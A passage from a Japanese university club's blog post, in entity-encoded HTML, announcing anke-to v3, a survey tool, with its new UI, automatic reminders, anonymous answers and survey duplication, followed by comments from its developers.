&#x306B;&#x5237;&#x65B0;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x5358;&#x306B;&#x898B;&#x305F;&#x76EE;&#x3092;&#x6574;&#x3048;&#x308B;&#x3060;&#x3051;&#x3067;&#x306F;&#x306A;&#x304F;&#x3001;&#x6570;&#x591A;&#x304F;&#x3042;&#x308B;&#x6A5F;&#x80FD;&#x3084;&#x60C5;&#x5831;&#x3092;&#x4E01;&#x5BE7;&#x306B;&#x6574;&#x7406;&#x3057;&#x3066;&#x3001;&#x521D;&#x3081;&#x3066;&#x3067;&#x3082;&#x76F4;&#x611F;&#x7684;&#x306B;&#x3001;&#x3044;&#x3064;&#x3082;&#x306E;&#x64CD;&#x4F5C;&#x304C;&#x7D20;&#x65E9;&#x304F;&#x3067;&#x304D;&#x308B;&#x3088;&#x3046;&#x306B;&#x8A2D;&#x8A08;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x305B;&#x3063;&#x304B;&#x304F;&#x306A;&#x306E;&#x3067;&#x753B;&#x9762;&#x3092;&#x3044;&#x304F;&#x3064;&#x304B;&#x304A;&#x898B;&#x305B;&#x3057;&#x307E;&#x3059;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-27.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1919" height="1079"><figcaption>&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x4E00;&#x89A7;&#x753B;&#x9762;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-28.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1919" height="1079"><figcaption>&#x30D5;&#x30A3;&#x30EB;&#x30BF;&#x3082;&#x3067;&#x304D;&#x307E;&#x3059;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-29.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1919" height="1079"><figcaption>&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x4F5C;&#x6210;&#x753B;&#x9762;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-30.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1919" height="1079"><figcaption>&#x8CEA;&#x554F;&#x306E;&#x8FFD;&#x52A0;&#x3001;&#x5165;&#x308C;&#x66FF;&#x3048;&#x306A;&#x3069;&#x3082;&#x7C21;&#x5358;&#x306B;&#x3067;&#x304D;&#x307E;&#x3059;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-31.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1919" height="1079"><figcaption>&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x8A73;&#x7D30;&#x753B;&#x9762;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-32.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1919" height="1079"><figcaption>&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x7D50;&#x679C;&#x753B;&#x9762;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-33.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1919" height="1079"><figcaption>&#x500B;&#x5225;&#x306E;&#x56DE;&#x7B54;&#x3082;&#x898B;&#x308C;&#x307E;&#x3059;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://trap.jp/content/images/2026/04/image-34.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1919" height="1079"><figcaption>&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x56DE;&#x7B54;&#x753B;&#x9762;</figcaption></figure><h3 id="%E8%87%AA%E5%8B%95%E3%83%AA%E3%83%9E%E3%82%A4%E3%83%B3%E3%83%89">&#x81EA;&#x52D5;&#x30EA;&#x30DE;&#x30A4;&#x30F3;&#x30C9;</h3><p>&#x5BFE;&#x8C61;&#x8005;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x308B;&#x304C;&#x3001;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x306B;&#x307E;&#x3060;&#x56DE;&#x7B54;&#x3057;&#x3066;&#x3044;&#x306A;&#x3044;&#x30E6;&#x30FC;&#x30B6;&#x30FC;&#x3092;&#x81EA;&#x52D5;&#x3067;&#x30E1;&#x30F3;&#x30B7;&#x30E7;&#x30F3;&#x3057;&#x3066;&#x3001;&#x56DE;&#x7B54;&#x3092;&#x50AC;&#x4FC3;&#x3057;&#x307E;&#x3059;&#x3002;&#x4ECA;&#x307E;&#x3067;&#x4EBA;&#x529B;&#x3067;&#x9811;&#x5F35;&#x3063;&#x3066;&#x30EA;&#x30DE;&#x30A4;&#x30F3;&#x30C9;&#x3057;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3001;&#x305D;&#x308C;&#x81EA;&#x4F53;&#x304C;&#x5927;&#x5909;&#x3060;&#x3063;&#x305F;&#x308A;&#x3001;&#x30EA;&#x30DE;&#x30A4;&#x30F3;&#x30C9;&#x3092;&#x5FD8;&#x308C;&#x3066;&#x3057;&#x307E;&#x3063;&#x305F;&#x308A;&#x3068;&#x3044;&#x3063;&#x305F;&#x3053;&#x3068;&#x304C;&#x8D77;&#x304D;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x3053;&#x308C;&#x3092;&#x30B7;&#x30B9;&#x30C6;&#x30E0;&#x3067;&#x89E3;&#x6C7A;&#x3059;&#x308B;&#x306E;&#x304C;&#x3053;&#x306E;&#x6A5F;&#x80FD;&#x3067;&#x3059;&#x3002;&#x305F;&#x3060;&#x3057;&#x30B7;&#x30B9;&#x30C6;&#x30E0;&#x306B;&#x3088;&#x308B;&#x5727;&#x3060;&#x3068;&#x56DE;&#x7B54;&#x3057;&#x3066;&#x304F;&#x308C;&#x306A;&#x3044;&#x3053;&#x3068;&#x3082;&#x591A;&#x3044;&#x3088;&#x3046;&#x3067;&#x3001;&#x4ECA;&#x5F8C;&#x3069;&#x3046;&#x3084;&#x3063;&#x305F;&#x3089;&#x3082;&#x3063;&#x3068;&#x56DE;&#x7B54;&#x3057;&#x3066;&#x3082;&#x3089;&#x3048;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x308B;&#x304B;&#x3092;&#x691C;&#x8A0E;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p><p>&#x307E;&#x305F;&#x3001;&#x3053;&#x308C;&#x306B;&#x5408;&#x308F;&#x305B;&#x3066;&#x5BFE;&#x8C61;&#x8005;&#x304C;&#x3044;&#x308B;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x306B;&#x306F;&#x56DE;&#x7B54;&#x671F;&#x9650;&#x3092;&#x5FC5;&#x305A;&#x8A2D;&#x5B9A;&#x3057;&#x3066;&#x3082;&#x3089;&#x3046;&#x3088;&#x3046;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x5BFE;&#x8C61;&#x8005;&#x304C;&#x5B58;&#x5728;&#x3059;&#x308B;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x306F;&#x305D;&#x306E;&#x4EBA; (&#x305F;&#x3061;) &#x306B;&#x306F;&#x5FC5;&#x305A;&#x56DE;&#x7B54;&#x3057;&#x3066;&#x6B32;&#x3057;&#x3044;&#x306F;&#x305A;&#x3067;&#x3001;&#x5FC5;&#x305A;&#x56DE;&#x7B54;&#x3057;&#x3066;&#x6B32;&#x3057;&#x3044;&#x306A;&#x3089;&#x671F;&#x9650;&#x304C;&#x3042;&#x308B;&#x306F;&#x305A;&#x3001;&#x3068;&#x3044;&#x3046;&#x4EEE;&#x8AAC;&#x3067;&#x3059;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/image-26.png" class="kg-image" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;" loading="lazy" width="1435" height="588"></figure><h3 id="%E5%8C%BF%E5%90%8D%E5%9B%9E%E7%AD%94">&#x533F;&#x540D;&#x56DE;&#x7B54;</h3><p>&#x4EE5;&#x524D;&#x306F;&#x56DE;&#x7B54;&#x306E;&#x516C;&#x958B;&#x7BC4;&#x56F2;&#x3092;&#x72ED;&#x3081;&#x308B;&#x3001;&#x4F8B;&#x3048;&#x3070;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x306E;&#x7BA1;&#x7406;&#x8005;&#x306E;&#x307F;&#x56DE;&#x7B54;&#x3092;&#x95B2;&#x89A7;&#x3067;&#x304D;&#x308B;&#x3068;&#x3044;&#x3063;&#x305F;&#x8A2D;&#x5B9A;&#x306F;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x56DE;&#x7B54;&#x3092;&#x95B2;&#x89A7;&#x3067;&#x304D;&#x308B;&#x4EBA;&#x306F;&#x8AB0;&#x304C;&#x3069;&#x306E;&#x56DE;&#x7B54;&#x3092;&#x3057;&#x305F;&#x304B;&#x306F;&#x5206;&#x304B;&#x3063;&#x3066;&#x3057;&#x307E;&#x3046;&#x72B6;&#x6CC1;&#x3067;&#x3057;&#x305F;&#x3002;&#x3057;&#x304B;&#x3057;&#x533F;&#x540D;&#x3067;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x3092;&#x7ACB;&#x3066;&#x305F;&#x3044;&#x3068;&#x3044;&#x3046;&#x30CB;&#x30FC;&#x30BA;&#x306F;&#x3042;&#x308A;&#x3001;&#x305D;&#x308C;&#x3092; v3 &#x3067;&#x5B9F;&#x73FE;&#x3059;&#x308B;&#x3053;&#x3068;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x305F;&#x3060;&#x3057;&#x30D0;&#x30C3;&#x30AF;&#x30A8;&#x30F3;&#x30C9;&#x304C; v1 &#x306E;&#x8A2D;&#x8A08;&#x3092;&#x5F15;&#x304D;&#x7D99;&#x3044;&#x3067;&#x3044;&#x308B;&#x95A2;&#x4FC2;&#x3067;&#x5B8C;&#x5168;&#x306B;&#x533F;&#x540D;&#x5316;&#x3067;&#x304D;&#x3066;&#x3044;&#x306A;&#x3044;&#x90E8;&#x5206;&#x304C;&#x9732;&#x5448;&#x3057;&#x3066;&#x304A;&#x308A;&#x3001;&#x305D;&#x308C;&#x3092;&#x4ECA;&#x5F8C;&#x6539;&#x5584;&#x3057;&#x3066;&#x3044;&#x304F;&#x4E88;&#x5B9A;&#x3067;&#x3059;&#x3002;</p><h3 id="%E3%82%A2%E3%83%B3%E3%82%B1%E3%83%BC%E3%83%88%E3%81%AE%E8%A4%87%E8%A3%BD">&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x306E;&#x8907;&#x88FD;</h3><p>&#x6BCE;&#x5E74;&#x958B;&#x50AC;&#x3059;&#x308B;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x306E;&#x53C2;&#x52A0;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x3084;&#x30D5;&#x30A3;&#x30FC;&#x30C9;&#x30D0;&#x30C3;&#x30AF;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x306A;&#x3069;&#x306F;&#x6BCE;&#x56DE;&#x540C;&#x3058;&#x3088;&#x3046;&#x306A;&#x9805;&#x76EE;&#x3067;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x3092;&#x7ACB;&#x3066;&#x308B;&#x3053;&#x3068;&#x304C;&#x591A;&#x3044;&#x3067;&#x3059;&#x3002;&#x305D;&#x306E;&#x969B;&#x306B;&#x524D;&#x56DE;&#x306E;&#x3092;&#x53C2;&#x8003;&#x306B;&#x307D;&#x3061;&#x307D;&#x3061;&#x3068;&#x624B;&#x5165;&#x529B;&#x3059;&#x308B;&#x306E;&#x306F;&#x3081;&#x3093;&#x3069;&#x304F;&#x3055;&#x3044;&#x306E;&#x3067;&#x3001;&#x65E2;&#x5B58;&#x306E;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x3092;&#x8907;&#x88FD;&#x3057;&#x3066;&#x3001;&#x4E00;&#x90E8;&#x7DE8;&#x96C6;&#x3057;&#x3066;&#x65B0;&#x3057;&#x3044;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x3068;&#x3057;&#x3066;&#x516C;&#x958B;&#x3067;&#x304D;&#x308B;&#x6A5F;&#x80FD;&#x3092;&#x5B9F;&#x88C5;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p><h3 id="%E3%82%A2%E3%83%B3%E3%82%B1%E3%83%BC%E3%83%88%E4%BD%9C%E6%88%90%E7%94%BB%E9%9D%A2%E3%81%AE%E6%94%B9%E5%96%84">&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x4F5C;&#x6210;&#x753B;&#x9762;&#x306E;&#x6539;&#x5584;</h3><p>&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x4F5C;&#x6210;&#x753B;&#x9762;&#x306F;&#x304B;&#x306A;&#x308A;&#x4F7F;&#x3044;&#x3065;&#x3089;&#x3044;&#x3053;&#x3068;&#x3067;&#x8A71;&#x984C;(?)&#x3067;&#x3057;&#x305F;&#x3002;&#x7BA1;&#x7406;&#x8005;&#x3084;&#x5BFE;&#x8C61;&#x8005;&#x306E;&#x9078;&#x629E;UI&#x304C;&#x4FE1;&#x3058;&#x3089;&#x308C;&#x306A;&#x3044;&#x3050;&#x3089;&#x3044;&#x91CD;&#x3044;&#x554F;&#x984C;&#x3068;&#x304B;&#x3001;&#x591A;&#x80A2;&#x9078;&#x629E;&#x306E;&#x8A2D;&#x554F;&#x3067;&#x9078;&#x629E;&#x80A2;&#x306E;&#x5165;&#x308C;&#x66FF;&#x3048;&#x304C;&#x3067;&#x304D;&#x306A;&#x3044;&#x3068;&#x304B;&#x3001;&#x305D;&#x306E;&#x4ED6;&#x3044;&#x308D;&#x3044;&#x308D;&#x3068;&#x4F7F;&#x3044;&#x3065;&#x3089;&#x3044;&#x70B9;&#x304C;&#x3042;&#x3063;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;v3 &#x3067;&#x306F; UI &#x3092;&#x5168;&#x3066;&#x5237;&#x65B0;&#x3057;&#x305F;&#x306E;&#x3067;&#x30A2;&#x30F3;&#x30B1;&#x30FC;&#x30C8;&#x4F5C;&#x6210;&#x753B;&#x9762;&#x3082;&#x30B0;&#x30C3;&#x3068;&#x4F7F;&#x3044;&#x3084;&#x3059;&#x304F;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p><h2 id="%E6%84%9F%E6%83%B3">&#x611F;&#x60F3;</h2><p>&#x73FE;&#x958B;&#x767A;&#x30E1;&#x30F3;&#x30D0;&#x30FC;&#x304B;&#x3089;&#x306E;&#x611F;&#x60F3;&#x3067;&#x3059;&#x3002;</p><h3 id="cp20">@cp20</h3><p>&#x4E00;&#x6642;&#x671F;&#x306F; v3 &#x3082; v2 &#x3068;&#x540C;&#x3058;&#x611F;&#x3058;&#x3067;&#x6D41;&#x308C;&#x3066;&#x3057;&#x307E;&#x3046;&#x306E;&#x304B;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3001;&#x7121;&#x4E8B;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x307E;&#x3067;&#x6F15;&#x304E;&#x3064;&#x3051;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x3066;&#x826F;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;&#x6700;&#x5F8C;&#x306E;&#x65B9;&#x306E;&#x9032;&#x6357;&#x4F1A;&#x306F;&#x3001;&#x30D0;&#x30B0;&#x3092;&#x898B;&#x3064;&#x3051;&#x305F;&#x3068;&#x304D;&#x306B;&#x30AF;&#x30E9;&#x30A4;&#x30A2;&#x30F3;&#x30C8;&#x304C;&#x60AA;&#x3044;&#x306E;&#x304B;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x304C;&#x60AA;&#x3044;&#x306E;&#x304B;&#x3067;&#x30D0;&#x30C8;&#x30EB;&#x3057;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3001;&#x305D;&#x308C;&#x306F;&#x305D;&#x308C;&#x3067;&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;</p><h3 id="kaitoyama">@kaitoyama</h3><p>anke-to v1&#x306F;&#x4ECA;&#x304B;&#x3089;7&#x5E74;&#x524D;&#x306E;2019&#x5E74;&#x306B;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3055;&#x308C;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;schema&#x304B;&#x3089;&#x306E;router&#x306E;&#x81EA;&#x52D5;&#x751F;&#x6210;&#x306A;&#x3069;&#x3082;&#x306A;&#x304F;&#x624B;&#x4F5C;&#x696D;&#x3067;&#x63C3;&#x3048;&#x3089;&#x308C;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x30D0;&#x30C3;&#x30AF;&#x30A8;&#x30F3;&#x30C9;&#x306B;&#x3068;&#x3063;&#x3066;v3&#x306E;&#x4E00;&#x756A;&#x306E;&#x6311;&#x6226;&#x306F;&#x3053;&#x306E;&#x90E8;&#x5206;&#x306B;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;schema&#x99C6;&#x52D5;&#x3068;&#x306A;&#x308B;&#x3079;&#x304F;&#x3001;oapi-codegen&#x3067;&#x306E;router&#x306E;&#x81EA;&#x52D5;&#x751F;&#x6210;&#x3068;&#x305D;&#x308C;&#x306B;&#x5BFE;&#x5FDC;&#x3057;&#x305F;&#x5F62;&#x3078;&#x306E;middleware&#x3084;&#x547C;&#x3073;&#x51FA;&#x3055;&#x308C;&#x308B;&#x90E8;&#x5206;&#x306E;&#x8ABF;&#x6574;&#x3092;&#x884C;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>v3&#x958B;&#x767A;&#x304C;&#x59CB;&#x307E;&#x3063;&#x3066;&#x304B;&#x3089;&#x3068;&#x3066;&#x3082;&#x9577;&#x3044;&#x6226;&#x3044;&#x3067;&#x3057;&#x305F;&#x3002;&#x3057;&#x304B;&#x3057;&#x3053;&#x3046;&#x3084;&#x3063;&#x3066;&#x7121;&#x4E8B;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3067;&#x304D;&#x305F;&#x306E;&#x306F;&#x672C;&#x5F53;&#x306B;&#x826F;&#x304B;&#x3063;&#x305F;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x3057;&#x304B;&#x3057;&#x3001;&#x5B9F;&#x306F;&#x5185;&#x90E8;&#x306B;&#x306F;&#x307E;&#x3060;&#x307E;&#x3060;&#x8CA0;&#x50B5;&#x304C;&#x3042;&#x3063;&#x305F;&#x308A;&#x3001;&#x56DE;&#x7B54;&#x8005;&#x306E;&#x60C5;&#x5831;&#x3092;&#x8E0F;&#x307E;&#x3048;&#x305F;traQ&#x3068;&#x306E;&#x9023;&#x643A;&#x306A;&#x3069;&#x4ECA;&#x5F8C;&#x306F;&#x30D0;&#x30C3;&#x30AF;&#x30A8;&#x30F3;&#x30C9;&#x4E3B;&#x5C0E;&#x306E;&#x65B0;&#x6A5F;&#x80FD;&#x3092;&#x5B9F;&#x88C5;&#x3067;&#x304D;&#x308C;&#x3070;&#x3068;&#x8003;&#x3048;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p><h3 id="eraxyso">@Eraxyso</h3><p>&#x4ECA;&#x56DE;&#x306E;anke-to v3&#x306E;&#x958B;&#x767A;&#x306F;&#x3001;&#x81EA;&#x5206;&#x306B;&#x3068;&#x3063;&#x3066;&#x3053;&#x308C;&#x307B;&#x3069;&#x5927;&#x304D;&#x306A;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30C8;&#x306B;&#x6DF1;&#x304F;&#x95A2;&#x308F;&#x308B;&#x521D;&#x3081;&#x3066;&#x306E;&#x7D4C;&#x9A13;&#x3067;&#x3057;&#x305F;&#x3002;&#x30D0;&#x30C3;&#x30AF;&#x30A8;&#x30F3;&#x30C9;&#x306E;&#x30EA;&#x30D5;&#x30A1;&#x30AF;&#x30BF;&#x30EA;&#x30F3;&#x30B0;&#x3084;&#x65B0;&#x6A5F;&#x80FD;&#x306E;&#x958B;&#x767A;&#x3092;&#x62C5;&#x5F53;&#x3057;&#x3001;&#x30B7;&#x30B9;&#x30C6;&#x30E0;&#x5168;&#x4F53;&#x3078;&#x306E;&#x5F71;&#x97FF;&#x3092;&#x610F;&#x8B58;&#x3057;&#x306A;&#x304C;&#x3089;&#x958B;&#x767A;&#x3092;&#x9032;&#x3081;&#x308B;&#x96E3;&#x3057;&#x3055;&#x3092;&#x5B9F;&#x611F;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>&#x5B9F;&#x88C5;&#x3092;&#x9032;&#x3081;&#x308B;&#x4E2D;&#x3067;&#x3001;&#x65B0;&#x305F;&#x306A;&#x8AB2;&#x984C;&#x3084;&#x6539;&#x5584;&#x3067;&#x304D;&#x305D;&#x3046;&#x306A;&#x70B9;&#x304C;&#x6B21;&#x3005;&#x3068;&#x898B;&#x3048;&#x3066;&#x304D;&#x3066;&#x3001;&#x306A;&#x304B;&#x306A;&#x304B;&#x7D42;&#x308F;&#x308A;&#x304C;&#x898B;&#x3048;&#x306A;&#x3044;&#x5834;&#x9762;&#x3082;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x6700;&#x7D42;&#x7684;&#x306B;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x307E;&#x3067;&#x5230;&#x9054;&#x3067;&#x304D;&#x305F;&#x3053;&#x3068;&#x3092;&#x5B09;&#x3057;&#x304F;&#x601D;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x7279;&#x306B;&#x30D0;&#x30C3;&#x30AF;&#x30A8;&#x30F3;&#x30C9;&#x3067;&#x306F;&#x3001;&#x65E2;&#x5B58;&#x306E;&#x4ED5;&#x7D44;&#x307F;&#x3068;&#x306E;&#x4E92;&#x63DB;&#x6027;&#x3092;&#x4FDD;&#x3061;&#x306A;&#x304C;&#x3089;&#x8ABF;&#x6574;&#x3084;&#x30EA;&#x30D5;&#x30A1;&#x30AF;&#x30BF;&#x30EA;&#x30F3;&#x30B0;&#x3092;&#x9032;&#x3081;&#x308B;&#x5FC5;&#x8981;&#x304C;&#x3042;&#x308A;&#x3001;&#x7406;&#x60F3;&#x901A;&#x308A;&#x306B;&#x8A2D;&#x8A08;&#x3057;&#x304D;&#x308C;&#x306A;&#x304B;&#x3063;&#x305F;&#x90E8;&#x5206;&#x3084;&#x3001;&#x3084;&#x3080;&#x3092;&#x5F97;&#x305A;&#x59A5;&#x5354;&#x3057;&#x305F;&#x90E8;&#x5206;&#x3082;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F; <s>&#xFF08;&#x5B9F;&#x306F;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x524D;&#x304B;&#x3089;&#x3001;&#x6B21;&#x306E;&#x30D0;&#x30FC;&#x30B8;&#x30E7;&#x30F3;&#x3084;&#x3055;&#x3089;&#x306A;&#x308B;&#x30EA;&#x30D5;&#x30A1;&#x30AF;&#x30BF;&#x30EA;&#x30F3;&#x30B0;&#x306B;&#x3064;&#x3044;&#x3066;&#x3082;&#x8003;&#x3048;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#xFF09;</s> &#x3002;</p><p>&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x5F8C;&#x3082;&#x6539;&#x5584;&#x70B9;&#x3084;&#x65B0;&#x305F;&#x306B;&#x53D6;&#x308A;&#x7D44;&#x307F;&#x305F;&#x3044;&#x3053;&#x3068;&#x304C;&#x898B;&#x3048;&#x3066;&#x304D;&#x3066;&#x304A;&#x308A;&#x3001;&#x4ECA;&#x5F8C;&#x5C11;&#x3057;&#x305A;&#x3064;&#x6539;&#x5584;&#x3057;&#x3066;&#x3044;&#x3051;&#x308C;&#x3070;&#x3068;&#x8003;&#x3048;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x4ECA;&#x56DE;&#x306E;&#x7D4C;&#x9A13;&#x3092;&#x6D3B;&#x304B;&#x3057;&#x3001;&#x4ECA;&#x5F8C;&#x306E;&#x958B;&#x767A;&#x306B;&#x304A;&#x3044;&#x3066;&#x3082;&#x3001;&#x3088;&#x308A;&#x826F;&#x3044;&#x8A2D;&#x8A08;&#x3068;&#x5B9F;&#x88C5;&#x3092;&#x76EE;&#x6307;&#x3057;&#x3066;&#x3044;&#x304D;&#x305F;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p><h2 id="%E3%81%8A%E3%82%8F%E3%82%8A%E3%81%AB">&#x304A;&#x308F;&#x308A;&#x306B;</h2><p>&#x65E2;&#x5B58;&#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x306E;&#x30E1;&#x30B8;&#x30E3;&#x30FC;&#x30D0;&#x30FC;&#x30B8;&#x30E7;&#x30F3;&#x30A2;&#x30C3;&#x30D7; (&#x30EA;&#x30CB;&#x30E5;&#x30FC;&#x30A2;&#x30EB;) &#x3068;&#x3044;&#x3046;&#x610F;&#x5473;&#x3067;&#x306F;NeoShowcase&#x4EE5;&#x6765;&#x3067;&#x3057;&#x3087;&#x3046;&#x304B;&#xFF1F;&#x3000;&#x4ED6;&#x306E;&#x30B5;&#x30FC;&#x30D3;&#x30B9;&#x3082;&#x5BC6;&#x304B;&#x306B;&#x958B;&#x767A;&#x3092;&#x9032;&#x3081;&#x3066;&#x3044;&#x308B;&#x307F;&#x305F;&#x3044;&#x306A;&#x306E;&#x3067;&#x3001;&#x3053;&#x308C;&#x304B;&#x3089;&#x306E;&#x767A;&#x8868;&#x306B;&#x3054;&#x671F;&#x5F85;&#x304F;&#x3060;&#x3055;&#x3044;..&#xFF01;</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://trap.jp/post/2271/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">&#x3010;NeoShowcase&#x3011;traP&#x306B;&#x306F;&#x5185;&#x88FD;&#x306E;&#x4F5C;&#x54C1;&#x516C;&#x958B;&#x30D7;&#x30E9;&#x30C3;&#x30C8;&#x30D5;&#x30A9;&#x30FC;&#x30E0;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;</div><div class="kg-bookmark-description">&#x306F;&#x3058;&#x3081;&#x306B; | &#x300E;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x300F;&#x540C;&#x597D;&#x4F1A;traP&#x3068;&#x306F; &#x79C1;&#x305F;&#x3061;&#x300E;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP&#x300F;&#x306F;&#x3001;Web&#x30A2;&#x30D7;&#x30EA;&#x3084;&#x30B2;&#x30FC;&#x30E0;&#x306E;&#x5236;&#x4F5C;&#x3092;&#x4E2D;&#x5FC3;&#x306B;&#x6D3B;&#x52D5;&#x3059;&#x308B;&#x3001;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x30FB;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x7DCF;&#x5408;&#x30B5;&#x30FC;&#x30AF;&#x30EB;&#x3067;&#x3059;&#x3002; 